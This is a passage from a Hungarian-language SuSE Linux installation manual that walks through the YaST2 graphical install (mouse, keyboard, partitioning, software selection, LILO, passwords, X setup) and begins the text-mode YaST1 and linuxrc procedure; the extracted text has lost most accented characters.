Itt kell el szr dntennk a teleptsi eljrs sorn, az egr, vagy a billenty o u hasznlatval. Minden adatbeviteli mez , vlasztklista s gomb ("kapcsol") kivlaszthat o egr kattintssal is. A billenty zet hasznlata elg vilgos: u A Tab lpked a mez k, beviteli/kivlasztsi mez k, gombok kztt; o o Shift + Tab ov teszi, hogy kivlasszunk egy msik kivlaszlehet tsi csoportot. A vlaszthatunk az aktivizlt terlett l fg s -val o g en vagy krbemehetnk egy listn. o A billenty vel kivlasztdik az aktulis elem. u A Space -szel kijellhetjk az aktulis elemet. A legtbb akcit elindthatjuk az az alhzott bet billenty komAlt + u u bincival. Ne essnk pnikba: Mindekzben a YaST2 csak informcikat gy jt. A u vgn a YaST2 meg fogja jelenteni az addig sszegy lt informcikat u (a 2.1.13 . fejezetben (26. oldal)); s akkor mg lesz lehet sgnk a o Vissza gomb segtsgvel visszatrni az el z ablakhoz, hogy javto o sunk a rszleteken. A kvetkez kben a YaST2 megtudakolja, hogy milyen nyelvet vlasztunk. o Amikor kivlasztunk egy nyelvet, az Alkalmaz tvlt minden szveget sajt nyelvnkre. 20

2.1. Gyors t a sikerhez Lehetsges problmk Ha klnleges hardvernk van, az egeret esetleg nem sikerl automatikusan felismertetni. Ez esetben hasznljuk a billenty zetet, ahogy az a u fejezet elejn le van rva. A YaST2 felknlja lehet sgknt a kvetkez o o ablakban az egr kzzel trtn belltst (lsd a 2.1.5 fejezetet). o 2.1.5 Az egr kivlasztsa

Ez az ablak csak akkor jelenik meg, ha a YaST2 nem volt kpes automatikusan felismerni az egeret. Egy ablak jelenik meg, tbb egrtpus felsorolsval, amib l neknk kell kivlasztani a megfelel tpus egeret. o o A nylgombokkal mehetnk vgig a listn; amikor megtalltuk a megfelel o tpust, menjnk t a a Teszt gombra, s nyomjuk meg a Tab -bal -t. Most mozdtsuk meg az egeret. Ha az egrkurzor rendesen mozog, minden rendben van, mr kattinthatunk is az egrrel a Tovbb gombra :-) Ha nem j egrtpust vlasztottunk els alkalommal, visszamehetnk a o Tab bal a vlasztklistba, ahol jabb tpust vlaszthatunk ki. Lehetsges problmk Egyetlen egrtpus sem m kdik, vagy ppensggel nem akarunk egeret u hasznlni. Ebben az esetben aktivizlnunk kell a Nincs egr (No mouse) sort. Ezutn mr a telepts htralv rszt is elvgezhetjk, o de kizrlag a billenty zet segtsgvel. u 2.1.6 Billentyuzet s id zna o

Milyen billenty zet-kiosztst hasznlunk, s a Fld melyik rszn , azaz meu lyik id znban vagyunk. Meg kell adnunk azt a helyet, ahol tartzkodunk. o Lehet sgnk van a billenty zet tesztelsre. A beviteli mez be kattintva o u o az egrrel, vagy a aktivizljuk azt, s mr rhatunk is bet ket Tab -bal, u ide. Le kell tesztelnnk, klnsen a y/z bet ket s a specilis u karaktereket. A msodik ttel, egy lista az orszgokrl, faszerkezetben (kontinens/orszg/terlet). Vlasszuk ki orszgunkat, vagy a teletet; a YaST2 meg fogja tallni a megfelel id znt. o o A Tovbb gomb tvisz a kvetkez prbeszdablakba. o 2.1.7 j telepts vagy frissts?

A YaST2 -vel telepthetjk a SuSE Linux-szot gpnkre az alapoktl, vagy frissthetnk egy el z verzirl, gy megtartva eddigi, egyedi belltsainkat. o o j Telepts Vlasszuk ezt a ttelt; ez a rsz a SuSE Linux teleptse az alapoktl. Frissts Ezt a ttelt nem itt trgyaljuk. A kvetkez lpsek lersai felttelezik, hogy az j Teleptst vo lasztottuk a Tovbb megnyomsval. 21

2. Az els SuSE Linux telepts o 2.1.8 A merevlemez el ksztse o

A kvetkez lpsekben ki fogjuk vlasztani a merevlemez(eke)t s el ko o sztjk az(oka)t a SuSE Linux teleptsre. Gpnk hardvert l fgg en, o o esetleg egy kicsit ms lesz a prbeszdablakban, mint ami itt megjelenik. Els lps o Ha tbb merevlemeznk van, el szr meg kell hatroznunk, melyiket o fogjuk hasznlni a teleptshez. A megtallt lemezeket ki fogja rni a gpnk. Vagy: vlasszuk az utols opcit, a (Halad Belltsok (Advanced Settings))-at, hogy kzzel "partcionljunk", ha specilis krlmnyek megkvnjk ezt. Ezt itt ks bbre is hagyhatjuk, ha kiderl, hogy o mg tbb helyet kell ltrehoznunk... Alapesetben rkattintunk az egy merevlemezre, s utna Tovbb. Msodik lps Az albbiak kzl az egyik helyzet fordulhat el : o Ha a merevlemez nem res, a YaST2 megmutatja az sszes ltez paro tcit a merevlemezen, s a Hasznlja a Teljes merevlemezt ttelt is. Az res, nem partcionlt terletet a merevlemez "vgn" szintn megjelenti, s automatikusan el re kivlasztja. A YaST2 o fel tudja hasznlni az res helyet a SuSE Linux-nak, de csak akkor, ha az folyamatos, azaz a partcik a lemez azonos rszn vannak, egyms utn, pldul, az 1. partci s a 2. marad, s mi meghatrozzuk, hogy a 3. partcit hasznlja. Ha az egsz merevlemezt a SuSE Linux-nak sznjuk, vlasszuk az Egsz Merevlemez-t. Egy teljesen res merevlemeznl az egsz merevlemezt a SuSE Linux fogja hasznlni. Ha van ms elvrsunk is, nyomjuk meg a Vissza gombot, hogy visszatrjnk az el z ablakhoz amint emltettk a 22 fejezetben , hogy a kzo o zel trtn partcionlst a Kibvtett Belltsok (Extended o Settings) segtsgvel hajtsuk vgre. Minden adat el fog veszni a partcikon, amit a SuSE Linux-nak vlasztottunk ki, mert a partcikat jra kell formattlni! Figyelem: Ha a Teljes Merevlemez-t vlasztottuk, minden adat a merevlemezr l le lesz trlve, ami ms opercis rendszert is magba o foglalhat. Ha megnyomjuk a Tovbb gombot, tbbfle ellen rzs trtnik, pl. o hogy elegend -e a hely a minimum teleptshez, a 3 szksges partci o ltrehozhat-e, s a merevlemez indthat-e (bootable). Ha valami nem megfelel , ezt megmutatja neknk, s e szerint vgezhetjk el a vltoztatsoo kat. 22

2.1. Gyors t a sikerhez Amikor a telepts megkezd dik, s minden megfelelt az elvrsnak, a YaST2 o partcionlni s formattlni fogja a szksges merevlemez-terletet. Az egsz merevlemezt, vagy a rendelkezsre ll partcikat, a SuSE Linux felosztja 3 szabvnyos partcira, ami egy kis partci a /boot-nak (kb. 16 MB), amennyire csak lehet, kzel a merevlemez elejhez, egy partci a swapnek (128 MB), a megmaradt tbbi pedig a /, a root partci. A partcionlsrl, tovbbi ltalnos informcit, a 2.9 . fejezetben (69. oldal) tallunk. Lehetsges problmk Egy bizonyos partcit nem lehet kivlasztani. A YaST2 nem engedi meg neknk, hogy kijelljnk partcit a merevlemez "kzepr l". A problma megkerlsre, t kell partcionlnunk a Halad o Belltsok-at (Advanced Settings) hasznlva. 2.1.9 Szoftver-kivlaszts

Ebben az ablakban meghatrozhatjuk SuSE Linux-teleptsnk mrett. Ahhoz, hogy ezt megtegyk, ki kell vlasztanunk egy opcit a megjelentettekb l, valamint, ha van, tovbbi elemeket, amelyeket esetleg szeretnnk mg o telepteni. Szoftver-kivlaszts: Az alap szoftver kivlasztsa Els lpsknt meg kell hatroznunk az alapszoftverek kivlasztst a rendo szernkben: Miniml rendszer A Miniml rendszer egy teljes, m ku d kpes Unix opercis rendszer, szveges mdban (alaprendszer, plusz o az sszes fontos szolglts programja). Ha a merevlemezen a hely korltozott, a SuSE Linux alapfunkcii kiprblhatk; vagy ha van egy konkrt alkalmazsunk, ami nem kvn semmi tovbbi rendszerbelltst (helyignye, megkzelt leg 150 MB). o Szabvnyos rendszer A Szabvnyos rendszer az alapszoftverek alapos vlogatst tartalmazza, minden olyant, ami kell az indulshoz, pl. a grakus fellet, nyomtats, jtkok, szoftver az internetelrshez s -hasznlathoz, szerkeszt k, CD lejtszk, stb. (helyignye o megkzelt leg 500 MB). o Majdnem Minden Majdnem Minden-t kell telepteni, ha tudjuk, hogy szksgnk van az egsz szoftver knlatra, vagy ha meg akarjuk ismerni a SuSE Linux teljes szoftver knlatt. Ehhez az a felttel, hogy legyen elg hely a merevlemeznkn (helyignye tbb, mint 6 GB). A Szabvnyos rendszer klnsen akkor ajnlott, ha csak most kezdnk; ha szksgnk van tovbbi szoftverre, mindig adhatunk hozz ks bb. o Az ("alapteleptseknl") emltett egyik sszelltst hasznlva a Halad Vlaszts (Advanced Selection) gomb lehet v teszi, hogy o hozzadjunk vagy eltvoltsunk egyedi elemeket vagy specilis alkalmazsokat ("csomagokat"). 23

2. Az els SuSE Linux telepts o B vtett szoftvervlaszts: rszletek vltoztatsa o Ha a Halad Vlaszts-t (Advanced selection) jelltk ki az el z o o ablakban, itt vltoztathatjuk meg az sszellts rszleteit. A Halad Vlaszts-ban csomagcsoportok vannak; brmelyik elem (components) hozzadhat ezekhez. Ezzel egyid ben ingyenes szoftverek o esetben lehet sgnk van a forrscsomag teleptsre is. Vlasszuk az o elrhet forrsok teleptse pontot. Egyes esetekben a forrs igen sok helyet foglal el, s azt mondjk, hogy ez csak a programozkat rdekli. Brmikor hozzadhatunk szoftvert a telepts befejezse utn is, csak el kell indtanunk a YaST2 -t vagy a rgi YaST -ot (lsd a 3 . fejezetben (83. oldal)). Ha gyorsan akarunk sikert elrni, nem szabad mr most elmerlnnk az alkalmazsok dzsungelben. Kereskedelmi Szoftver-ek is rendelkezsnkre llnak. Ebben az ablakban vlasszuk ki azokat a programcsomagokat, amelyeket telepteni akarunk. Az Egyedi csomagok vlasztsa segtsgvel egyenknti hozzfrsnk van az alkalmazsokhoz vagy szoftvercsomagokhoz. Amikor kijellnk vagy eltvoltunk csomagokat ebben az sszelltsban, a YaST2 leellen rzi, hogy az sszes fgg sg feloldsra kerlt-e, s ha szksges, javasolja o o tovbbi csomagok teleptst is. A szoftverek megfelel m kdshez lnyeo u ges, hogy ne legyenek megoldatlan fgg sgek. o Lehetsges problmk A YaST2 le fogja ellen rizni, hogy elegend hely ll-e rendelkezsre o o az ltalunk vlasztott sszelltshoz. Ha nincs elg hely, akkor vagy cskkentennk kell a telepts mrtkt, vagy tovbbi partcikat kell a SuSE Linux rendelkezsre bocsjtanunk. Ha tovbbi partcikat akarunk elrhet v tenni, vissza kell mennnk a Vissza gombbal a o Teleptsi cl vlasztsa (Choose installation target) prbeszdablakig (lsd a 2.1.8 . fejezetben (22. oldal)). Ha Vissza akarunk jnni ide a kvetkez ablakbl, s jravlaszo tani elemeket, az egyedi csomag-kivlasztsunk el fog veszni. Legynk biztosak benne, hogy a szoftver kivlasztsra fordtott id nk nem vsz o krba. 2.1.10 LILO boot manager a rendszerindtshoz

Ahhoz, hogy a Linux ks bb indthat legyen, megfelel indt (boot) mechao o nizmust kell ltrehozni. Meg kell hatrozni, hogy a rendszer melyik pontjra legyen teleptve a LILO boot manager "LInux LOader", vagy msfle indtsi eljrst kell hasznlnunk (tovbbi informcit tallhatunk a lilrl a 2.3 . fejezetben (46. oldal) s a 4 . fejezetben (119. oldal)). Ha a YaST2 nem rzkel semmilyen ms opercis rendszert a gpen a SuSE Linux-on kvl, s tnyleg nincs is, egyszer a dolog, csak kattintu sunk a Tovbb gombra. 24

2.1. Gyors t a sikerhez Ha a YaST2 rzkel egy msik opercis rendszert (pl. Windows) , vagy ha akr a merevlemez belltsa nem indthat (bootable), (1024 cilinderes korltozs), vagy ha a PC hardverelemeink (egy SCSI- s (E)IDE merevlemez kombincija) nem rzkelhet k megfelel en vagy biztonsgoo o san az indthatsguk (bootability) szempontjbl, mg mindig van egy megbzhat md: az indt oppylemez ksztse. Ha azonban a YaST2 mg mindig nem megfelel en mri fel a helyzetet, o vagy ha ms tletnk van a rendszer indtsra, akkor vlasszuk a Msik bellts (Another configuration)-t, hogy kzzel lltsuk be a rendszerindtst. Err l b vebbet lejjebb. o o LILO : egyb indtsi mdok A YaST2 jelenleg ngy klnbz lehet sget knl fel: o o LILO teleptse a boot diskre (MBR) Ha a SuSE Linux egyetlen opercis rendszerknt van teleptve, akkor a LILO mindenkpp az MBR Master Boot Record-ba kerljn. LILO -val az MBR-ben tbb opercis rendszert is elindthatunk. Csak akkor vlasszuk ezt az opcit, ha teljesen biztosak vagyunk abban, hogy a mr teleptett rendszer indthat a LILO segtsgvel (ltalban DOS s Windows 95/98 esetn lehetsges). Tovbbi informcikrt lapozzuk fel a 4.7.1 . fejezetben (134. oldal) lert informcikat. Ha brmi ktsgnk van, vlasszuk az Indt lemez ksztse opcit. Indt lemez ksztse (Create a Boot Floppy) Ha gpnk tbb opercis rendszert is hasznl, lehet sgnk van indt leo mez ksztsre a SuSE Linux-hoz. Ennek az az el nye, hogy a bootmeco hanizmusunk rintetlen marad. Brmikor elindthatjuk a SuSE Linux-szot err l az indt lemezr l. Ktsg esetn ezt a lehet sget kell vlasztanunk. o o o Megjegyzs: A YaST -tal lehet telepteni a LILO -t az MBR-be ks bbi o id pontban is (lsd a 3.6.2 . fejezetben (105. oldal) Configuring o LILO). A LILO teleptse a /boot partcira Felttelezzk, hogy van msik boot managernk. E pontot vlasztva tovbbra is hasznlhatjuk sajt boot managernket. Semmi sem vltozik az MBR (Master Boot Record)-ban; a LILO a /boot partciba kerl teleptsre. Azonban ekkor sajt magunknak jra be kell lltanunk a meglv boot o managert. Ennek egyik mdja Windows NT s Linux esetn a 4.7.2 . fejezetben (135. oldal) tallhat. A LILO teleptse egy msik partcira Vlasszuk ezt a lehet sget, ha egy msik partcit akarunk meghatrozni; a tovbbiao krt nzzk meg az el z pontot. o o Amennyiben szksges, a Kernel-bootparamterek mez ben o megadhatunk "kernelparamtereket" is; itt egy append (hozzf ztt) sor u jn ltre; lsd mg a 27 . fejezetben (130. oldal) s a 14.3.2 . fejezetben (385. oldal). A linear opci ritkn szksges. Ez az opci arra szolgl, hogy a merevlemezszektorok adatait logikaiknt trolja zikai cm helyett; lsd mg a 26 . fejezetben (129. oldal). 25

2. Az els SuSE Linux telepts o 2.1.11 Felhasznli informci

A SuSE Linux-ban tbb felhasznl dolgozhat egyidej leg. Aki hasznlni u akarja a rendszert, el szr azonostania kell magt. Ezt "belptetsknt" (logo ging in) ismerjk. Az ablakban lthat adatok a "felhasznli (user) accountunk" ltrehozshoz kell enek (vezetknv, utnv, felhasznli nv, jelsz). A vezetk- s utnevnk megadsra krnek meg minket. Ezt kvet en a o "felhasznli nevnk" s jelszavunk is megllaptsra kerl, amivel majd be tudunk jelentkezni a SuSE Linux-ba. Lehet sgnk van a Javaslatok (Suggestions) gombbal "felo hasznli nv" automatikus ltrehozsra, vezetknevnk s utnevnk kombincijbl (br a javaslat megvltoztathat), vagy sajt magunk adhatjuk meg a kvnt nevet. Befejezsl meg kell adnunk egy jelszt, amit biztonsgi okbl meg kell ismtelnnk. A bet k itt kis- s nagybet -rzkenyek. A jelsznak legalbb 5 u u karakter hossznak kell lennie (maximum 8 karakter), s nem tartalmazhatnak kezeteket. Megengedettek a "klnleges karakterek" (pl. #,.;) s a szmok 0-tl 9-ig. Alaposan jegyezzk meg a sajt "felhasznli nevnket" s jelszavunkat. Szksgnk lesz r minden alkalommal, amikor dolgozni akarunk a SuSE Linux-szal. A Tovbb-bal egy msik ablakot rnk el, ahol megadhatjuk a root jelszt. 2.1.12 A root jelsz meghatrozsa

A root felhasznl klnleges el jogokkal rendelkezik a Linuxban. Plo dul elindthat s lellthat folyamatokat (processes), ltrehozhat s eltvolthat felhasznlkat, megvltoztathat fontos rendszerfjlokat, stb. Ms szval, elltja a rendszeradminisztrtor feladatt. Ehhez meg kell adnunk egy jelszt a root felhasznlnak; ugyanazok a szablyok vonatkoznak erre is, mint a norml felhasznl jelszavra. Nagyon pontosan emlkeznnk kell a root jelszra, mivel nem tudjuk ks bb visszahvni, hogy megnzzk azt. Mindig szksgnk lesz erre a o jelszra, amikor adminisztratv feladatokat vgznk a rendszeren. Ha most megnyomjuk a Tovbb gombot, megkezd dik a tnyleges teleo pts. 2.1.13 Belltsok jvhagysa A telepts megkezdse

Itt kapunk lehet sget a dolgok leellen rizsre, tnzhetjk sszes bellto o sunkat, amiket eddig jvhagytunk. Abban az esetben, ha vltoztatni akarunk, tlapozhatjuk az ablakokokat a Vissza gombbal, egszen vissza a legels ablakig. o Ha mindent megfelel nek tallunk, s megnyomjuk a Tovbb gombot, o ismt felszltst kapunk a telepts megkezdsnek meger stsre, ahogy o az itt is lthat: 26

2.1. Gyors t a sikerhez Meger sts utn az Igen - telept-tel a YaST2 megkezdi a o rendszerbelltst. Nem-mel megvan a lehet sgnk az adatok jraellen rzsre, s ahol o o szksges, a ttelek megvltoztatsra. A Vissza gomb megnyomsval elrhetjk a kvnt ablakot. Ha mgis meggondoljuk magunkat, s el akarjuk halasztani a SuSE Linux teleptst egy ks bbi id pontra, megvan a lehet sgnk, hogy teljesen o o o megszaktsuk a teleptst. Sajnos ekkor minden bellts, s minden megadott informci el fog veszni. Ha a Telepts elvetse (Abort installation)-t vlasztjuk, gpnk a meger sts jvhagysa utn le o fog llni, s lekapcsolhatjuk gpnket, vagy akr jra is indthatjuk azt, minden problma nlkl. Egszen eddig a pontig semmi vltoztatst nem hajtottunk vgre gpnkn. "Szakrt knek" van egy specilis lehet sg, a Belltsok Mentse o o Hajlkony Lemezre. Ez minden adatot elment a lemezre, ahonnan az adatokat ks bbi teleptskor visszatlthetjk. Ezt csak akkor vlaszthatjuk, o ha a hardvernk is tmogatja ezt. Ha az Igen - telept-et vlasztottuk, most lthatjuk, ahogy a YaST2 dolgozni kezd. Partcikat hoz ltre, s leformattlja oket. Rendszernk kapacitstl s merevlemeznk mrett l fgg en ez eltarthat egy o o darabig. Itt el kell kerlnnk a megszaktst, mert merevlemeznk ett l el re o o nem lthat hibkat szenvedhet. Miutn az els CD-r l a csomagok, s a SuSE Linux alapteleptse megtro o tnt, valamint ezt a Kvetkez-vel meger stettk, elindul a szveges o alaprendszer. A YaST2 folytatja a szoftverek teleptst, szksg esetn bekrve tovbbi CD-ket; ha Megszakt-juk a teleptst ebben a szakaszban, a rendszer hasznlhatatlan lehet! Attl fgg en, hogy mit hatroztunk meg a 2.1.10 . fejezetben (24. olo dal), felszltst kapunk, hogy tegynk be egy hajlkonylemezt az indt lemez ltrehozsa cljbl, vagy hogy biztonsgi mentst ksztsnk a Master Boot Record-rl, miel tt a LILO -t teleptennk. Ehhez ne hasznljuk a o SuSE Linux csomagban lv egyetlen hajlkonylemezt sem! Ha a LILO -t az o MBR-be teleptettk, zenetet kapunk arrl, hogy miknt llthatjuk helyre az eredeti MBR-t; ezt a parancsot tancsos feljegyezni. A SuSE Linux-szot ezzel sikeresen teleptettk. Mindssze a grakus fellet el ksztse hinyzik; ez nem szksges, ha csak o a Miniml Rendszer-t teleptettk, ami szveges mdban fut. Mindezek utn (els alkalommal) kiprblhatjuk a SuSE Linux-szot. o 2.1.14 A grakus fellet belltsa Annak rdekben, hogy mr az els Bejelentkezskor (Login) grakus felo hasznli felletet tudjunk hasznlni, a YaST2 megprblja begy jteni az u sszes informcit, ami szksges a monitor s a videokrtya meghatrozshoz. Ha ez sikerlt, a YaST bellt egy optimlis kperny felbontst, sznfelbono tst s monitorfrekvencit, majd megjelenik egy tesztkperny . o 27

2. Az els SuSE Linux telepts o Ellen rizzk le a belltsokat, miel tt megnyomjuk az "Ok"-t! Ha nem o o vagyunk biztosak valamiben, nzzk meg a videokrtya s a monitor dokumentciit. Ha a monitorunk nem ismerhet fel, vlasszunk ki egy hasonl tpust a liso trl. Ha ismeretlen tpusunk van, kzzel kell megadnunk az adatait, vagy be kell olvastatnunk az informcikat egy Meghajtlemezrl (driver lemez), amit valszn leg adtak a monitorhoz; ebben az esetben u tanulmnyoznunk kell a monitor dokumentcijt is. Ha nem akarunk grakus felletet, vlasszuk az els ttelt a gyrtk listjrl: Nem llt o be X11-et. Vgl itt egy plda a monitor belltsra. Az idelis monitor-felbonts fgg a hardvernkt l s egyni preferenciinktl, de ajnlatos 16 bpp-t sznmlyo sgnek vlasztani a Sznek szma pontnl. Lehetsges problmk Ritkn szksg lehet az X-kiszolgl "kzzel" trtn belltsra; eho hez ks bb el kell indtanunk a SaX programot. A SaX -hoz tletek a 8.3 o . fejezetben (240. oldal) alatt tallhatk. 2.1.15 Rendszerelemek belltsa

Mg a teleptsi fzisban lehet sgnk van belltani nhny rendszerelemet o (ha vannak ilyenek), pl.: nyomtat, hang, internet s hlzat. Ha mr kezd ks lenni, halasszuk ezt msnapra... o 2.1.16 Bejelentkezs els alkalommal o

Most minden kszen ll bejelentkezhetnk. A grakus login (a kdm display manager) t nik fel, ami megmutatja az sszes u regisztrlt felhasznlt ( 9.6 . fejezetben (292. oldal) ). Csak meg kell adnunk jelszavunkat, s a KDE (a "K Desktop Environment") elindul. Informci a KDE-r l a 9.2 . fejezetben (290. oldal) alatt tallhat; ett l fggetlenl a o o helprendszer (kdehelp) is rendelkezsnkre ll. Ha folytatjuk a munknkat szveges mdban, adjuk meg felhasznli nevnket a login: promptnl. Jelsznk megadsa utn a Linux-rendszerprompt fog megjelenni. 2.1.17 Remnyek s munka a rendszeren

Kezd linuxosoknak a 19 . fejezetben (493. oldal) olvashat kziknyv o hasznos kiindulpont lehet. Olyan knyvek, melyek a tmval mlyebben foglalkoznak, a knyvjegyzkben (lsd az 576. oldalt) tallhatk. A "rgi" YaST -tal is meg kell ismerkednnk (a 3 . fejezetben (83. oldal)), ez nagyon jl jhet a naponta folytatott belltsi munkknl. Rszletes lers az X Window System grakus fellet belltsra, a 8 . fejezetben (237. oldal) tallhat. A SaX -szal vgzett belltshoz olvassuk el a 8.3 . fejezetben (240. oldal) tallhat tmutatt. 28

2.1. Gyors t a sikerhez A hangkrtya a tma a 10.3 . fejezetben (314. oldal) ezt trgyalja a Linux s a hardver cm fejezet. u A nyomtat teleptse, informcik a tmogatott nyomtatkrl a 12 . fejezetben (351. oldal) tallhat. A YaST -tal vgzett nyomtatteleptshez nzzk t a 3.6.1 . fejezetben (104. oldal) lertakat. Informci az internet-hozzfrs belltsrl a 6 . fejezetben (173. oldal) tallhat. Informcikat els sorban a modemekr l lsd a 6.5 . o o fejezetben (188. oldal), az ISDN-t pedig a 6.2 . fejezetben (175. oldal). A hlzat belltshoz olvassuk el az 5 . fejezetben (153. oldal) lertakat. Ha az Internethez ISDN-en t csatlakozunk, a hlzat belltshoz mlyebb ismeretek szksgesek. El kell olvasnunk tbb, rszleteket is trgyal irodalmat. Az informcikat a "gateway" vagy "router" cmsz alatt keressk.

29

2. Az els SuSE Linux telepts o

2.2

Telepts a szveges YaST -tal (YaST 1)

Fordtotta: Vradi Istvn Tbbflekppen is telepthetnk sikeresen Linuxot egyik bonyolultabb, mint a msik. :-) Gyakorlottabb felhasznlk nhny magyarzatot taln b lre eresztettnek, o vagy ppen feleslegesnek tartanak. Gondoljunk csak vissza azokra a napokra, amikor el szr volt szmtgpnk, s hlsan olvastunk el minden elrhet o o dokumentcit... A SuSE Linux a YaST -ot knlja (lsd a 3 . fejezetben (83. oldal)) teleptsi eszkzknt, amely vgigvezet minket a merevlemez biztonsgos el kszto sn, a szoftverek belltsn s a grakus bejelentkez belltsn. o "ltalnos" esetben egy szmtgp, amire a SuSE Linux-szot teleptjk, az albbi elvrsoknak kell, hogy megfeleljen: Tudnunk kell indtani, vagy az els CD-r l, vagy az indt (boot) lemezo o r l, amit rendszernkkel kaptunk. o Rendszernk merevlemezn a Linux teleptshez elegend hely kell, o hogy legyen. Biztosthatunk akr egy kln merevlemezt is, amely elg nagy a Linux teleptshez. A CD-ROM meghajtnkat a Linuxnak tmogatnia kell. Ha nem vagyunk biztosak ebben, ne izguljunk, rvidesen gyis kiderl. :-) Ha a hardvernk nem felel meg ezeknek a feltteleknek, vannak "thidal" megoldsok, amelyekkel sikeresen befejezhetjk a teleptst. Ezeket e fejezet vgn fogjuk megtrgyalni (lsd a 2.4 . fejezetben (48. oldal)). 2.2.1 Induls: az dvzl kperny o o

Kapcsoljuk be szmtgpnket, s tegyk be az els CD-t s/vagy az indt o lemezt a megfelel meghajtba. Ha a gp nem indul el, valszn leg t kell lo u ltanunk az indtsi sorrendet a BIOS-ban vagy A,C-re vagy CD-ROM,C,Ara. Nhny msodperc mlva az indt kperny dvzl minket ( 2.2 bra). 3 o msodpercnk van megnyomni egy gombot (pl. a hogy a YaST2 Tab -ot), NE induljon el automatikusan. Ekkor berhatjuk a boot prompt-hoz (boot:), hogy manual, majd nyomjuk meg a -t: boot: manual Onnan tudjuk meg, hogy a betltsi folyamat beindult, hogy a kvetkez o szveg jelenik meg a kperny aljn: "Loading initdisk.gz...", o majd ezt kveti a "Loading linux...". Ezekutn ltjuk az sszes  rendszermagzenetet lefutni, majd vgl a linuxrc program elindul. A linuxrc program menvezrelt, s addig vr, amg be nem runk valamit. Lehetsges problmk Ha az (ATAPI) CD-ROM meghajtnk lefagy, amikor a rendszer indul, nzzk meg a 2.8.5 . fejezetben (64. oldal) lertakat. 30

2.2. Telepts a szveges YaST -tal (YaST 1)

2.2 bra: A SuSE Linux dvzl kperny je o o Az els CD-t nem rzekeli indthat mdiumknt. Prbljuk meg a 2. o CD-t hasznlni. Lsd mg a 2.7.2 . fejezetben (60. oldal). Ms indtsi problmk rendszerint megoldhatk megfelel rendszermago paramterek hasznlatval; lsd a 14.3.2 . fejezetben (385. oldal). 2.2.2 Az alapok: linuxrc

A linuxrc program teszi lehet v, hogy egyszer en hajtsuk vgre a telepts o u belltst. Ha szksgess vlik, betlthetnk meghajtkat rendszermagmodulknt. Ezutn fog elindulni a telept program (YaST ), ami telepti az o opercis rendszert s a kivlasztott alkalmazsokat. A navigls a linuxrc-ben magtl rtet d . A o o s gombokat hasznl hatjuk a menelemek kivlasztsra. Hasonlan a s gombokat hasznljuk az olyan parancsok kivlasztssra, mint az Ok vagy a Vissza. A gomb pedig vgrehajtja a kivlasztott parancsot. Ha valakit mlyebb rszletekbe men lers rdekel a linuxrc-r l, az a 16.4 . o o fejezetben (443. oldal) tallhatja ezt meg. Belltsok s hardver hozzadsa A linuxrc program a nyelv kivlasztsval indul el. Vlasszunk egy nyelvet (clszer en a Magyar-t), miel tt a u o -t megnyomjuk. Vlasszuk ki a Sznes-t vagy a Monochrome-ot (Fekete-fehr) monitorunknak megfelel en, majd nyomjuk meg a o -t. Vlasszuk ki a megfelel billenty zet-belltst. Gy z djnk meg rla, o u o o hogy a megfelel belltst vlasztottuk, miel tt megnyomjuk a o o -t! Most a linuxrc f menjben vagyunk ( 2.4 bra), ahol az albbi vlasztsaink o vannak: 31

2. Az els SuSE Linux telepts o

2.3 bra: A nyelv kivlasztsa

2.4 bra: A linuxrc f menje o Belltsok Ezzel a menopcival mdosthatjuk a nyelv, a kperny vagy a billenty zet belltst. o u Rendszer informci Ez a menopci sok informcit ad hardvernkr l, amit a rendszermag mr felismert, modulokrl, melyeket mr o betlttt, stb. kell rnunk, hogy modulokat betltsn, amire taln lehet. Kernel modulok (hardver meghajtk) Itt, amennyiben hardvernk megkvnja, modulokat tlthetnk be. ltalnos szably: Nem lesz szksgnk erre a lehet sgre, ha merevo lemeznk s CD-ROM meghajtnk egy (E)IDE vezrl hz csatlakozik, o s azok "ATAPI eszkzk" (ATAPI). Az (E)IDE tmogats a rendszermagba be van ptve. 32

2.2. Telepts a szveges YaST -tal (YaST 1) Telepts megkezdse / rendszer Itt a telepts folytatdik. Vge / jraindts Arra az esetre, ha meggondolnnk magunkat... A telepts megkezdse Mivel a Telepts megkezdse mr alaprtelmezsben ki van je llve, mindssze csak meg kell nyomnunk a gombot, hogy folytassuk a teleptst.

2.5 bra: A linuxrc telept menje o Ebben a menben az albbi lehet sgeink vannak: o Telepts megkezdse Amit most csinlunk. A teleptett rendszer indtsa Ez a lehet sg nagyon o hasznos abban az esetben, ha problmnk van a mr teleptett rendszer indtsval. Biztonsgi rendszer indtsa Ez jelenleg csak IBM-kompatibilis rendszerekhez elrhet (IA 32 rendszerek). o CD hasznlathoz nzzk t a Eject CD Kidobja a CD-t a meghajtbl. Jl jhet. :-) A tnyleges teleptshez csak meg kell nyomnunk a a A Telep -t ts megkezdse menopcin. A kvetkez kperny n vlasszuk ki a o o forrsmdiumot. Alaprtelmezsben a CD-ROM menopci van kijellve. Nyomjuk meg a s vlasszuk ki a YaST1 -et, hogy megkezdjk a -t, tnyleges teleptst. Forrsmdiumnak a CD-ROM-ot hasznljuk. egy msik forrsmdiumot nem vlasztunk. A telept krnyezet betlt dik a RAM diszkbe, s amikor ez a folyamat o o befejez dik elindul a telept program, a YaST . o o 33

2. Az els SuSE Linux telepts o

2.6 bra: A forrsmdium kivlasztsa a linuxrc-ben

2.7 bra: A YaST kivlasztsa a linuxrc-ben Lehetsges problmk Az albbi problmk merlhetnek fel: A SCSI vezrl t nem ismeri fel a rendszer. Ha ez az eset ll fenn, olyan o rendszermagot kell hasznlnunk, amibe a megfelel SCSI vezrl tmoo o gatsa be van ptve. Az ATAPI CD-ROM meghajt lefagy, mialatt az informcit beolvassa a CD-r l. Ebben az esetben a 2.8.5 . fejezetben (64. oldal) lv informcio o kat nzzk meg. Eddig mg nem tisztzott okokbl problma merlhet fel, amikor adatokat tltnk a RAM lemezbe, nha a YaST nem tud betlt dni. Ilyen o esetben az albbi megolds rendszerint pozitv eredmnyre vezet: 34

2.2. Telepts a szveges YaST -tal (YaST 1) A linuxrc f menjben vlasszuk a Belltsok Hibajao vts (Szakrt) (Settings Debug (Experts )) pontot; ezutn be kell lltanunk a root image knyszerts-t (Force root image) nem llapotra. Trjnk vissza a f menhz, s kezdjk jra a o teleptst. 2.2.3 A YaST indtsa

Fordtotta: Vradi Istvn A YaST dvzl kperny je utn az albbi ngy menpontot fogjuk ltni o o ( 2.8 bra):

